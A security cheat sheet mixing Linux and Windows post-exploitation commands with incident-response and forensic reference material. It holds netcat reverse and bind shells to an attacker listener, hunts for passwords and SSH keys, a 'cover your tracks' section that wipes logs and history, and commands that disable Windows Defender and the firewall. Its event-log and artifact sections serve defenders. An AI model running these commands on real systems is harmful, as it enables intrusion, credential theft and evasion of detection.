find / -iname '*password*'                        :recursive, iname=case insensitive name
find –I –name <file> -type *.pdf                  :find PDF files
find / -user user1 –size 33c 2>/dev/null          :find a files owned by user 33 bytes,
                                                  :2>/dev/null cleans irrelevant results
strings data.txt | grep "="                       :same as grep –A 1 = data.txt
strings -n [N]|grep "term"                        :search strings > than N chars(ASCII)
strings -e b|grep "term"                          :search strings with big endian encoding
strings -e l|grep "term"                          :search strings w little endian encoding

find / -type f -exec grep -H 'text-to-find-here' {} \;      :search for text
find /home –name .bash_history                    :good place to find cmds; . means hidden
.sh_history, .zsh_history, .ksh_history           :alternative shells to bash
find /home –name .bashrc                          :often used to config shell or load info
find /home –name .bash_profile                    :aslo important to look at
find /home –name .bash_history –type f –exec grep –H 'admin' {} \;
ls –ls /tmp         (or /var/tmp)                 :check tmp folder for leftover clues
/etc folder – cron jobs, shadow backups, etc
```

Search for passwords accidentally typed to shell

```
grep –A 1 passwd .bash_history OR find /home –name .bash_history | grep –A 1 passwd
find /home -name .bash_history -exec grep -A 1 passwd {} \; :passwds typed in shell
find . -name .bash_history -exec grep -A 1 '^passwd' {} \;  :passwds typed in shell
```

Searching for backups

```
find . -depth -print | cpio -o > *.cpio           :back up recursively from your location
cpio –i –vd < archive.cpio                        :extract the backup
cpio –t < archive.cpio                            :list the files of the cpio archive
cat backup | cpio –id /etc/fstab          :same as below, extract one file
cpio –id /etc/fstab < archive.cpio                :extract just fstab file from archive
cpio –i –to-stdout /etc/fstab < backup > fstab :try if permissions error above
cd /etc/cron.daily                                :check cronjobs for clue – dcrypt backup

tar –tvf file.tar                                 :view TOC for tar archive (.tar)
tar -ztvf file.tar.gz                             :view TOC for tar archive (.tar.gz)
tar –zxvf file.tar.gz <file you want>             :extract file from tar archive
```

Linux Accounts

```
useradd -d  /home/fred fred                       :create user fred
userdel Charlie                                   :delete user
passwd fred                                       :change password for user fred
sudo or su -                                      :elevated privileges
su <user>                                         :change account to certain user
whoami                                            :displays current user
id                                                :details about current user
```

Linux File Commands

```
cd <dir>                                          :move around file system
cd ~                                              :jump to current account home dir
pwd                                               :present working directory
ls –la /tmp  (or /var/tmp)                        :dir/file details;-l details –a shows all
ls –ld /tmp                                       :show permissions on the –d dir /tmp
mkdir test                                        :make a directory called test
cp –a /source/. /dest/                            :copy all files, atts, hidden, &symlinks
smbclient //<winIp>/c$ <passwd> -U <user>         :connect to SMB (445)
gedit <file>                                      :easy to use file editor
head /etc/passwd                                  :shows start of file
tail –n 2 /etc/passwd                             :shows end of file
sort –u                                           :sort unique lines
shred –f –u <file>                                :overwrite/delete file
touch –r <ref_file> <file>                        :matches ref_file timestamp
touch –t YYYYMMDDHHSS <file>                      :Set file timestamp
file <file>                                       :file properties
rm –rf <dir>                                      :force deletion of directory
echo $PATH                                        :view your path
which ls                                          :see where in your PATH a cmd is found
zip –r <zipname.zip> \Directory\*                 :create zip
gzip file    (bzip2 creates .tbz)                 :compress/rename file
gzip –d file.gz                                   :Decompress file.gz
upx -9 –o out.exe orig.exe                        :UPX packs orig.exe
tar cf file.tar files                             :Create .tar from files
tar xf file.tar                                   :Extract .tar
tar czf file.tar.gz files                         :Create .tar.gz
tar xzf file.tar.gz                               :Extract .tar.gz
tar cjf file.tar.bz2 files                        :Create .tar.bz2
tar xjf file.tar.bz2                              :Extract .tar.bz2
tar –xvjf backup.tbz                              :Decompress .tbz file
bzip2 –dk filename.bz2                            :Decompress .bz2 file
cat ./-                                           :read a file named -  (special char)
cat spaces\ in\ filename                          :read a file with spaces in name
```

Linux Interesting Files

From rebootuser.com

```
find / -perm -4000 -type f 2>/dev/null         :Find SUID files
find / -uid 0 -perm -4000 -type f 2>/dev/null  :Find SUID files owned by root
find / -perm -2000 -type f 2>/dev/null         :Find GUID files
find / -perm -2 -type f 2>/dev/null            :Find world-writeable files
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null      :Find world-
writeable files excluding those in /proc
find / -perm -2 -type d 2>/dev/null            :Find word-writeable directories
find /home –name *.rhosts -print 2>/dev/null   :Find rhost config files
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;     :Find *.plan
files, list permissions and cat the file contents
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;
     :Find hosts.equiv, list permissions and cat the file contents
ls -ahlR /root/                                :See if you can access other user
directories to find interesting files
cat ~/.bash_history                            :Show the current users' command history
ls -la ~/.*_history                            :Show the current users' history files
ls -la /root/.*_history                        :Can we read root's history files
ls -la ~/.ssh/                                 :Check intrstng ssh files in cur usr dir
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name
"authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la      :Find
SSH keys/host information
ls -la /usr/sbin/in.*                          :Check Configuration of inetd services
grep -l -i pass /var/log/*.log 2>/dev/null     :Check log files for keywords ('pass' in
this example) and show positive matches
find /var/log -type f -exec ls -la {} ; 2>/dev/null  :List files in specified directory
(/var/log)
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null    :List .log files in
specified directory (/var/log)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null :List .conf
files in /etc (recursive 1 level)
ls -la /etc/*.conf                             :As above
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null :Find
```

```
.conf files (recursive 4 levels) and output line number where the word 'password' is
located
lsof -i -n                :List open files (output will depend on account privileges)
head /var/mail/root                          :Can we read roots mail
```

Linux System Info

```
ps aux|less                                  :running processes
bg                                           :run in background
jobs                                         :show programs running in background
fg 1                                         :move background job to foreground
nbtstat -A <ip>                              :get hostname for <ip>
id                                           :current username
w                                            :logged on users
who -a                                       :user info
last -a                                      :last users logged on
ps -ef                                       :process listing (top)
uname -a                                     :disk usage (free)
mount                                        :mounted file systems
getent passwd                                :show list of users
PATH=$PATH:/home/mypath                      :add to PATH variable
kill <pid>                                   :kills process with <pid>
cat /etc/issue                               :show OS info
cat /etc/*release*                           :show OS version info
cat /proc/version                            :show kernel info
rpm -query -all                              :installed pkgs (Redhat)
rpm -ivh *.rpm                               :install rpm (-e=remove)
dpkg -get-selections                         :installed pkgs (Ubuntu)
dpkg -I *.deb                                :install DEB (-r=remove)
pkginfo                                      :installed pkgs (Solaris)
which <tscsh/csh/ksh/bash>                   :show location of executable
chmod 750 <tcsh/csh/ksh>                     :disabled <shell>, force bash
shutdown -h now                              :shut down and halt system
reboot                                       :reboot system
```

Linux Network Commands

```
gedit /etc/network/interfaces;service networking restart :set interface info
ifconfig                                     :networking info
ping                                         :if ping doesn't work try traceroute -T
traceroute -T <ip>                           :-T uses TCP SYN with dst port 80
traceroute -6                                :-6 = IPv6
nslookup <name/ip>                           :dns query
netstat -ant                                 :TCP connection -anu=udp
netstat -tulpn                               :Connections with PIDs
netstat -antp|grep sshd                      :open ssh
lsof -i                                      :established connections
smb://<ip>/share                             :access Windows share
share user x.x.x.x c$                        :mount Windows share
smbclient -U user \\\\<ip>\\<share>          :SMB connect
ifconfig eth# <ip>/<cidr>                    :set IP and netmask
ifconfig eth0:1 <ip>/<cidr>                  :set virtual interface
route add default gw <gw_ip>                 :set GW
export MAC=xx:xx:xx:xx:xx:xx                 :change MAC
ifconfig <int> hw ether <MAC>                :change MAC
macchanger -m <MAC> <int>                    :change MAC
iwlist <int> scan                            :built-in wifi scanner
dig -x <ip>                                  :domain lookup for IP
host <ip>                                    :domain lookup for IP
host -t SRV _<service>_tcp.url.com           :domain SRV lookup
dig @ip domain -t AXFR                       :DNS zone xfer
host -l <domain> <namesvr>                   :DNS zone xfer
ip xfrm stat list                            :print existing VPN keys
ip addr add <ip>/<cidr> dev eth0             :adds 'hidden' interface
/var/log/messages|grep DHCP                  :list DHCP assignments
tcpkill host <ip> and port <port>            :block ip:port
echo "1" > /proc/sys/net/ipv4/ip_forward     :turn on IP forwarding
```

```
echo “nameserver x.x.x.x” > /etc/resolv.conf   :add DNS server
```

Linux Utility Commands

```
service <service> start                          :start service
service ssh start; netstat –antp | grep sshd     :start service then check to see running
service apache2 start                            :start apache web service
/etc/init.d/apache2 restart                      :alt method to restart apache svc
echo “Testing testing” > /var/www/index.html     :make web server file to test
update-rc.d <service> enable                     :auto enable service on startup
rdesktop <ip>                                    :RDP (mstsc for linux) to <ip>
scp /tmp/file user@x.x.x.x/tmp/file              :secure copy (put) file
scp user@<remoteip>:/tmp/file /tmp/file          :secure copy (get) file
passwd <user>                                    :change user password
rmuser uname                                     :remove user
script –a <outfile>                              :record shell : Cntrl-D stops
apropos <subject>                                :find related command
history                                          :view users command history
!<num>                                           :executes line # in history
wget                                             :pull files
```

Netcat/Ncat Connections / Bind & Reverse Shells

```
Updated version of netcat
ncat --exec cmd.exe --allow 10.0.0.4 –vnl 4444 --ssl  :ncat listener(replaced netcat)
ncat –v 10.0.0.22 4444 --ssl                     :ncat connect to listener

ncat –lvp 4444 –e cmd.exe –allow <ip> --ssl      :attacker listener-ssl
ncat –v <attacker_listener_ip> 4444 --ssl        :victim connects

Traditional netcat listener/connector
nc –nlvp 4444                                    :ncat listener over port 4444
nc –nv <ip of listener> 4444                     :ncat connector

Netcat listener to transfer file
nc –l –p <port> > bo.txt (victim)                :netcat listener (don’t forget firewall)
nc –w 3 <ip> <port> < bo.txt (attacker)          :netcat connect to listener

Netcat listener to transfer a file
nc –nlvp 4444 > incoming.exe                     :netcat listener for incoming file
nc –nv <ip of listener> 4444 </usr/share/windows-binaries/wget.exe :send file

Netcat bind shell (attacker makes connection to victim)
nc –lvp 4444 –e cmd.exe                          :netcat listener to gain cmd line access
nc –vn <listener_ip> 4444                        :netcat connector from victim behind FW
ipconfig (access to computer)

Netcat reverse shell (victim makes connection to attacker for cmd line)
nc –nlvp 4444                                    :netcat listener on attacker
nc –nv <attacker_ip> 4444 –e /bin/bash           :victim reaches out to make connection
id; uname –a (access to computer)

nc –nv <ip> 25     ;HELP                         :netcat connect to mail server,see help
nc –nv <ip> 110    ;USER bob;PASS bob            :netcat connect to mail server over 110
nc –nv <ip> 143    ;USER bob; PASS bob           :netcat connect to mail server over 143
```

Linux Cover Your Tracks Commands

```
echo “” > /varlog/auth.log                       :clear auth.log file
echo “” > ~/.bash_history                        :clear current user bash history
rm ~/.bash_history –rf                           :delete .bash_history file
history –c                                       :clear current session history
export HISTFILESIZE=0                            :set history max lines to 0
export HISTSIZE=0                                :set history max commands to 0
unset HISTFILE                                   :disable history logging (log out after)
kill -9 $$                                       :kills current session
```

```
ln /dev/null ~/.bash_history –sf              :permanently send bash hist to /dev/null
```

Linux File System Structure

```
/bin                                          :user binaries
/boot                                         :boot-up related files
/dev                                          :interface for system devices
/etc                                          :system configuration files
/home                                         :base directory for user files
/lib                                          :critical software libraries
/opt                                          :third party software
/proc                                         :system and running programs
/root                                         :home directory of root user
/sbin                                         :system administrator binaries
/tmp                                          :temporary files
/usr                                          :less critical files
/var                                          :variable system files
```

Linux Files

```
/etc/shadow                                   :local users' hashes
/etc/passwd                                   :local users
/etc/group                                    :local groups
/etc/rc.d                                     :startup services
/etc/init.d                                   :service
/etc/hosts                                    :known hostnames and IPs
/etc/HOSTNAME                                 :full hostname with domain
/etc/network/interfaces                       :network configuration
/etc/profile                                  :system environment variables
/etc/apt/sources.list                         :Ubuntu sources list
/etc/resolv.conf                              :nameserver configuration
/home/<user>/.bash_history                    :bash history (also /root/)
/usr/share/wireshark/manuf                    :vendor-MAC lookup
~/.ssh/                                       :SSH keystore
/var/log/                                     :system log files (most Linux)
/var/adm                                      :system log files (Unix)
/var/spool/cron                               :list cron files
/etc/cron.daily                               :daily cron jobs
/var/log/apache/access.log                    :Apache connection log
/etc/fstab                                    :static file system info
```

Linux Shell Essentials

```
Up/down                                       :command history
Tab auto complete                             :once for unique, twice for non-unique
Cntrl+R then chars                            :find recent commands
Cntrl+L                                       :clear screen
Cntrl+C                                       :stop current command
clear                                         :command to clear shell
```

Disable Group Policy / Windows Defender / Windows Firewall

```
Disable Group Policy
cmd
REG add "HKLM\SYSTEM\CurrentControlSet\services\gpsvc" /v Start /t REG_DWORD /d 4 /f
<OR>
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gpsvc\start  :change to "4"
First need to take ownership <cmd would be takeown & icacls)

Stop Group Policy Client:
net stop gpsvc

Disable Windows Defender
REG add "HKLM\ SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware" /v
Start /t REG_DWORD /d 1 /f                          :1=disable;0=enable


Disable Windows Firewall
netsh advfirewall set allprofiles state off
```

Windows Essential Tools

```
Cygwin                                          :Windows emulator for linux tools
Sysinternals                                    :several good tools
```

Windows Search

```
KEY WORDS: firewall, password, authentication, security, names, finance, e-mail
strings (Sysinternals)                          :search strings(ASCII,big&little endian)
strings –n [N]                                  :search strings > than N characters
find /i "password"                              :Windows command to look for "password"
type *.txt | find /i "string"                   :Win command search string w/filetypes
type <file> | findstr <regex>                   :Win command for regex query
```

Windows System Info

```
whoami                                          :check who you are running as
set username                                    :similar to whoami (see current user)
set path                                        :check current path
net user                                        :list of local users defined on machine
net user <user> <password> /add (or /del)       :add or delete a user
net localgroup                                  :local groups created on machine
net localgroup administrators                   :users in local admin group
net localgroup administrators <user> /add/del   :add or delete a user to admin group
dir                                             :view current directory
sc query                                        :list running services
sc query stat= all                              :view all services, not just running
sc config <service_name> start=demand           :set a service so we can manually start
tasklist                                        :list running processes
taskkill /PID <process_ID>                      :kill a running process
nbtstat –A <ip>                                 :get hostname for ip
netsh advfirewall show allprofiles              :show firewall settings (/? For help)
netsh advfirewall firewall add rule name="name" dir=in action=allow remoteip=<yourip>
protocol=TCP localport=port                     :create an entry in host firewall
netsh advfirewall set all profiles state off    :turn the firewall off
control /name Microsoft.WindowsDefender         :disable Windows Defender
runas /u:<user> cmd.exe                         :run cmd prompt as different user
```

Windows Remote Commands

```
psexec \\ip –u <user> -p <password> cmd         :Sysintrnls, metaS, or NSE; net use 1st
net use \\ip\share password /u:<domain\user>    :start SMB session w/target; C$ IPC$ etc
net use * /del                                  :drop connections-open can cause issues
```

```
sc \\ip query                                   :svcs query if SMB session established
```

Windows Network Commands

```
nslookup <name/ip>                              :dns query
ping                                            :
tracert -6                                      :-6 for IPv6
netstat –nao                                    :view network activity
ipconfig                                        :view network settings
ipconfig /displaydns                            :view DNS cache
```

Windows File Commands

```
*renaming .pif hides windows extensions and makes it executable but shows like the
first file extension
```

Appendix: Incident Response checkCriticalWindowsEventLogs

checkCriticalWindowsEventLogs.ps1

```
# THIS SCRIPT IS PROVIDED "AS IS" WITH NO WARRANTIES OR GUARANTEES OF ANY
# KIND, INCLUDING BUT NOT LIMITED TO MERCHANTABILITY AND/OR FITNESS FOR A
# PARTICULAR PURPOSE. ALL RISKS OF DAMAGE REMAINS WITH THE USER, EVEN IF THE
# AUTHOR, SUPPLIER OR DISTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF ANY
# SUCH DAMAGE. IF YOUR STATE DOES NOT PERMIT THE COMPLETE LIMITATION OF
# LIABILITY, THEN DO NOT DOWNLOAD OR USE THE SCRIPT. NO TECHNICAL SUPPORT
# WILL BE PROVIDED.
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4720,4722,4724,4738,4732,1102}
Get-WinEvent -FilterHashtable @{LogName="System";
ID=7030,7045,1056,7045,10000,100001,10100,20001,20002,20003,24576,24577,24579}
Get-WinEvent -FilterHashTable @{LogName="Microsoft-Windows-Windows Firewall With
Advanced Security/Firewall"; ID=2003}
```

Appendix: Audit Policy

Critical Security Control #14

You should focus on the top five critical security controls as your top priorities of effort.

Log Aggregation

We currently have several syslog servers which forwards to Splunk. The AIX team, Linux team, and PTC team have their own Syslog servers. We have specialized syslog servers ourselves (takes data that should be going through Splunk). We also forward several individual sources to Splunk – like databases, F5, etc. Endpoints are testing being forwarded to Seneca which forwards to Splunk

Critical Windows Events to Monitor

Malware Archaelogy has a really great write-up on how to filter logging and setting it up. Keep in mind Splunk is an expensive license. It goes over auditing the Sexy Six Event IDs plus a few extra.
https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/56b36b4d3c44d86cf33341ca/1454598990744/Windows+Splunk+Logging+Cheat+Sheet+v1.1.pdf

WINDOWS POWERSHELL COMMAND LINE EXECUTION: Event Code 500 will capture when PowerShell is executed logging the command line used.
WINDOWS FIREWALL CHANGES: Event Code 2004 will capture when new firewall rules are added.
SCHEDULE TASKS ADDED: Event Code 106 will capture when a new scheduled task is added.

The Sexy Six Event IDs
https://conf.splunk.com/session/2015/conf2015_MGough_MalwareArchaelogy_SecurityCompliance_FindingAdvnacedAttacksAnd.pdf
4688/592 - New Process – Look for the obvious .EXE's cscript.exe, sysprep.exe, nmap.exe, nbtstat.exe, netstat.exe, ssh.exe, psexec.exe, psexecsvc.exe, ipconfig.exe, ping.exe OR powershell.exe (SET, MetaSploit) Of course, new odd .exe's. Doesn't give any hashes—sysmon event code 1 gives hashes and additional details; SEC511 says 4688 with command line can often be used to reliably detect most modern post exploitation techniques; Look for length of commands; Also monitor user creation commands like net user … /add (also event ID 4720) or escalation of privilege commands like net localgroups administrators <user> /add (also event ID 4732)
4624/528 /540 - Some account logged in. What accounts did and what accounts at what times are normal? Attackers who steal local creds and use to move laterall both create 4624, both listed as Logon Type: - the security ID will show domain vs computername – monitor authentication via local creds (Ignore actual domin & NT Authority & Window Manager). Microsof Security Advisory 2871997 limited ability to pass the hash on local accounts, but RID 500 (local admin) & domain accounts still vulnerable.
5140/560 - A share was accessed. They most likely connected to the C$ share.
5156 – Windows Firewall Network connection by process. Can see the process connection going to an IP that you can use GEOIP to resolve Country, Region and City. Noisy as it includes all internal connections as well. Event is filtered in favor of event code 3 from sysmon which can be properly filtered
7045/601/7030 - A new service is installed. Static systems don't get new services except at patch time and new installs. Change Management anyone? This is a tell tail sign. 7040 is a change of state of a service, good too. *Note* 7045 is an indicator of psexec, a great way to find lateral movement in a windows network – the real psexec will have a service name of PSEXESVC, meterpreter will have a high entropy name, and also SysInternals PsExec generates no errors but MetaSploit's generates Event ID 7030.
4663/567 – (NOISY). File auditing must be enabled on directories you want to monitor. The new files above would show up. Yes, there are ways to write to disk without Event logs being triggered in PowerShell and .NET, but this is rare and why monitoring PowerShell is important. Very noisy event and requires a lot of filtering. Still a work in progress, though the Splunk forwarder also performs similar monitoring of registry auto start locations
4657 will give more Registry details.

Additional Events To Monitor

106 – scheduled task updated or created. Currently monitored by Splunk using correlation rules

500 – Not yet receiving, powershell auditing

2 – Sysmon event generated when file creation times are changed; Get-WinEvent @{LogName="application";ProviderName="EMET"; id=2} shows EMET blocking Malware

5 – Sysmon event generated when processes are terminated (determine when process attempts to shut down security processs)

6 – Sysmon event generated when a driver is loaded, used to identify potential root kit installations

8 – Sysmon event generated when remote threads are created, useful in identify cross-process code injection.

1056 – RDP/Terminal Services forces creation of a self signed SSL cert

8003/8006/8004/8007 – AppLocker would have blocked or it did block

1102 – Audit Log Being Cleared

USB Events To Monitor (Critical Control 8-3)

7045, 10000, 100001, 10100, 20003, 24576, 24577, 24579, 20001 (sometimes 10002 instead of 10001)

SEC511 Events to Monitor:

Log Name	Provider Name	Event IDs	Description
System		7045	A service was installed in the system
System		7030	...service is marked as an interactive service. However, the system is configured to not allow interactive services. This service may not function properly.
System		1056	Create RDP certificate
System		7045, 10000, 10001, 10100, 20001, 20002, 20003, 24576, 24577, 24579	Insert USB
Security		4624	Account Logon
Security		4625	Failed login
Security		4688	Process creation logging
Security		4720	A user account was created
Security		4722	A user account was enabled
Security		4724, 4738	Additional user creation events
Security		4728	A member was added to a security-enabled global group
Security		4732	A member was added to a security-enabled local group
Security		1102	Clear Event log
Application	EMET	2	EMET detected ... mitigation and will close the application: ...exe
Firewall		2003	Disable firewall
Microsoft-Windows-AppLocker/EXE and DLL		8003	(EXE/MSI) was allowed to run but would have been prevented from running if the AppLocker policy were enforced
Microsoft-Windows-AppLocker/EXE and DLL		8004	(EXE/MSI) was prevented from running.
Microsoft-Windows-WindowsDefender/Operational		1116	Windows Defender has detected malware or other potentially unwanted software
Microsoft-Windows-WindowsDefender/Operational		1117	Windows Defender has taken action to protect this machine from malware or other potentially unwanted software

https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm

Windows Vista and above Events

General Event Descriptions	General Event IDs
Account and Group Activities	4624, 4625, 4648, 4728, 4732, 4634, 4735,4740, 4756
Application Crashes and Hangs	1000 and 1002
Windows Error Reporting	1001
Blue Screen of Death (BSOD)	1001
Windows Defender Errors	1005, 1006, 1008, 1010, 2001, 2003, 2004, 3002, 5008
Windows Integrity Errors	3001, 3002, 3003, 3004, 3010 and 3023
EMET Crash Logs	1 and 2
Windows Firewall Logs	2004, 2005, 2006, 2009, 2033
MSI Packages Installed	1022 and 1033
Windows Update Installed	2 and 19
Windows Service Manager Errors	7022, 7023, 7024, 7026, 7031, 7032, 7034
Group Policy Errors	1125, 1127, 1129
AppLocker and SRP Logs	865, 866, 867, 868, 882, 8003, 8004, 8006, 8007
Windows Update Errors	20, 24, 25, 31, 34, 35
Hotpatching Error	1009
Kernel Driver and Kernel Driver Signing Errors	5038, 6281, 219
Log Clearing	104 and 1102
Kernel Filter Driver	6
Windows Service Installed	7045
Program Inventory	800, 903, 904, 905, 906, 907, 908
Wireless Activities	8000, 8001, 8002, 8003, 8011, 10000, 10001, 11000, 11001, 11002, 11004, 11005, 11006, 11010, 12011, 12012, 12013
USB Activities	43, 400, 410
Printing Activities	307

Table 1: Vista and above Events

Cisco Logging – Change Detection

Cisco Configuration Change Notification and Logging

```
enable
configure terminal
logging <syslog>
archive
log config
logging enable
logging size 1000
hidekeys
notify syslog
end
```

DNS Logging

Enable DNS Query Logging on Windows 2008/2012

```
DNS Manager / Action / Properties / Debug Logging
```

Enable Query Logging on Bind 9

```
logging {
     channel querylog {
            file "/var/log/named/query.log";
            print-time yes;
     };
     Category queries { querylog;};
};
```

FireWall Logging (SEC511)

Inbound & Outbound denies

Outbound Ports to Block/Log/Alert
22/tcp, 23/tcp, 25/tcp, 135/tcp, 137/udp, 139/tcp, 445/tcp, 1900/udp, 3389/tcp

Local Evidence Categories

User Communication
File Download
Program Execution
File / Folder Opening
File Knowledge
Physical Location
USB Key Usage
Account Usage
Browser Usage

File Download

Open/Save MRU - This key tracks files that have been opened or saved within a Windows shell dialog box. This happens to be a big data set, including web browsers and common applications.
Location:
XP – NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\OpenSaveMRU
Win 7/8/10 –
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\OpenSavePID1MRU
The "*" key – this subkey tracks the most recent files of any extension input in an OpenSave dialog
.??? (Three letter extension) – This subkey stores file info from the OpenSave dialog by specific extension
Email Attachments – estimated that 80% of email data is stored via attachments. Email standards only allow text. Attachments must be encoded with MIME/base64 format.
Location (Outlook):
XP – %USERPROFILE%\Local Settings\ApplicationData\Microsoft\Outlook
Win7/8/10 – %USERPROFILE%\AppData\Local\Microsoft\Outlook
Outlook data files found in these locations include OST and PST files. Also look at the OLK and Content Outlook folder, which might roam depending on the Outlook version used. For more info for OLK go to
http://www.handcockcomputertech.com/blog/2010/06/find-the-microsoft-outlook-temporary-olk-folder
Skype History – keeps a log of chat sessions and files transferred from one machine to another and is turned on by default
Location:
XP – C:\Documents and Settings\<username>\Application\Skype\<skype-name>
Win7/8/10 – C:\%USERPROFILE%\AppData\Roaming\Skype\<skype-name>
Each entry will have a date/time value and Skype user name associated with the action
Browser Artifacts – Not related to File Download, but details stored for each local user account. Records # times visited (frequency)
IE Location:
IE 8-9 – %USERPROFILE%\AppData\Roaming\Microsoft\Windows\IEDownloadHistory\index.dat
IE10-11 – %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
Firefox Locations:
V3-25 – %userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<random text>.default\downloads.sqlite
V26+ – %userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<random text>.default\places.sqlite Table:moz_annos
Chrome Location:
Win7/8/10: %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History
Many sites in history will list files that were opened from remote sites and downloaded to the local system. History will record the access to the file on the website that was accessed via a link.
Downloads – Firefox and IE have built in download manager application which keeps a history of every file downloaded by the user. This browser artifact can provide excellent information about what sites a user has been visitng and what kinds of files they have been downloading from them.
Firefox Location:
IE – %userprofile%\Application Data\Mozilla\Firefox\Profiles\<random

text>.default\downloads.sqlite
Win7/8/10 - %userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<random
text>.default\downloads.sqlite
IE:
IE8-9 - %USERPROFILE%\AppData\Roaming\Microsoft\Windows\IEDownloadHistory\
IE10-11 - %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
Downloads include name, size, type, save location, download start and end times, download from and referring page, application used to open file
ADS Zone.Identifier – Starting with XP SP2 when files are downloaded from the Internet Zone via a browser to a NTFS volume, an alternate data stream is added to the file. The alternate data stream is named "Zone Identifier."
Files with an ADS Zone.Identifier and contains ZoneID=3 were downloaded from the Internet
URLZONE_TRUSTED = ZoneID = 2
URLZONE_INTERNET = ZoneID = 3
URLZONE_UNTRUSTED = ZoneID = 4

Program Execution

UserAssist – GUI based program launched from the desktop are tracked in the launcher on a Windows system.
Location: NTUSER.DAT –
NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\(GUID)\Count
All values are ROT-13 Encoded; XP GUID – 75048700 (Active Desktop); Win 7/8/10 GUID – CEBFF5CD (Executable File Execution); F4E57C4B (Shortcut File Execution)
Program Locations for Win7 Userassist: ProgramFilesx64 – 6D809377-…; ProgramFilesx86 – 7C5A40EF-…;System-IAC14E77-…; System86 – D65231B0-…; Desktop – B4BFCC3A - …; Documents – FDD39AD0-…; Downloads – 374DE290-…; UserProfiles – 0762D272-…

Last-Visited MRU – Tracks the specific executable by an application to open the files documented in the OpenSave MRU key. In addition, each value also tracks the directory location for the last file that was accessed by that application (Example – Notepad.exe was last run using the C:\%USERPROFILE%\Desktop folder
Location:
XP –
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\LastVisitedMRU
Win 7/8/10 –
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\LastVisitedPid1MRU
Tracks the application executables used to open files in OpenSaveMRU and the last path used.

RunMRU Start->Run – Whenever someone does a Start->Run command, it will log the entry for the command they executed.
Location – NTUSER.DAT HIVE;
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
The order in which the commands are executed is listed in the RunMRU list value. The letters represent the order in which the commands were executed.

AppCompatCache – Windows Application Compatibility Database is used by Windows to identify possible application compatibility challenges with executables. Tracks the executables file name, file size, last modified time, and in Windows XP the last update time.
Location:
XP – SYSTEM\CurrentControlSet\Control\SessionManager\AppCompatibility
Win 7/8/10 – SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\Any executable run on the Windows system could be found in this key. You can use this key to identify systems that specific malware was executed on. In addition, based on the interpretation of the time based data you might be able to determine the last time of execution or activity on the system.
Windows XP contains at most 96 entries – LastUpdateTime is updated when the files are executed
Windows 7 contains at most 1024 entries – LastUpdateTime does not exist on Win7 systems

Jump Lists – The Windows 7 task bar (Jump List) is engineered to allow users to "jump" or access items they have frequently or recently used quickly and easily. This functionality cannot only include recent media files; it must also include recent tasks. The data stored in the AUtomaticDestinations folder will each have a unique

file prepended with the AppID of the associated application.
Location Win7/8/10 –
C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations
First time of execution of application – CreationTime = First time item added to the AppID file
Last time of execution of application w/file open – Modification Time = Last time item added to the AppID file
List of Jump List IDs -> http://www.forensicswiki.org/wiki/List of Jump List IDs

Prefetch – Increases performance of a system by pre-loading code pages of commonly used applications. Cache Manager monitors all files and directories referenced for each application or process and maps them into a .pf file. Utilized to know an application was executed on a system
Limited to 128 files on XP and Win7; Limited to 1024 files on Win8; (exename)-(hash).pf
Location – WinXP/7/8/10 – C:\Windows\Prefetch
Each .pf will include last time of execution, number of times run, and device and file handles used by the program
Date/Time file by that name and path was first execution – Creation Date of .pf file (-10 seconds)
Date/Time file by that name and path was last executed – Embedded last execution time of .pf file – last modification date of .pf file (-10 seconds) – Win8+ will contain last 8 times of execution

Amacache.hve/RecentFileCache.bcf – ProgramDataUpdater (a task associated with the Application Experience Service) uses the registry file RecentFilecache.bcf to store data during process creation.
Location Win7/8/10 – C:\Windows\AppCompat\Programs\Amcache.hve (Win 7/8,8.1)
Win7 – C:\Windows\AppCompat\Programs\RecentFilecache.bcf
RecentFileCache.bcf – Executable PATH and FILENAME and the program is probably new to the system
The program executed on the system since the last ProgramDataUpdated task has been run
Amcache.hve – Keys = Amcache.hve\Root\File\{Volume GUID}\######
Entry for every executable run, full path info, File's $StandardInfo Last Modification Time, and Disk volume the executable was run from
First Run Time = Last Modification Time of Key
SHA1 hash of executable also contained in the key

File/Folder Opening

Open/Save MRU – This key basically tracks files that have been opened or saved within a Windows shell dialog box. This is a big data set, including web browsers and commonly used applications.
Location:
XP – NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\OpenSaveMRU
Win7/8/10 –
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\OpenSavePID1MRU
The "*" key – tracks the most recent files of any extension input in an OpenSave dialog
.??? (Three letter extension) – This subkey stores file info from the OpenSave dialog by specific extension.

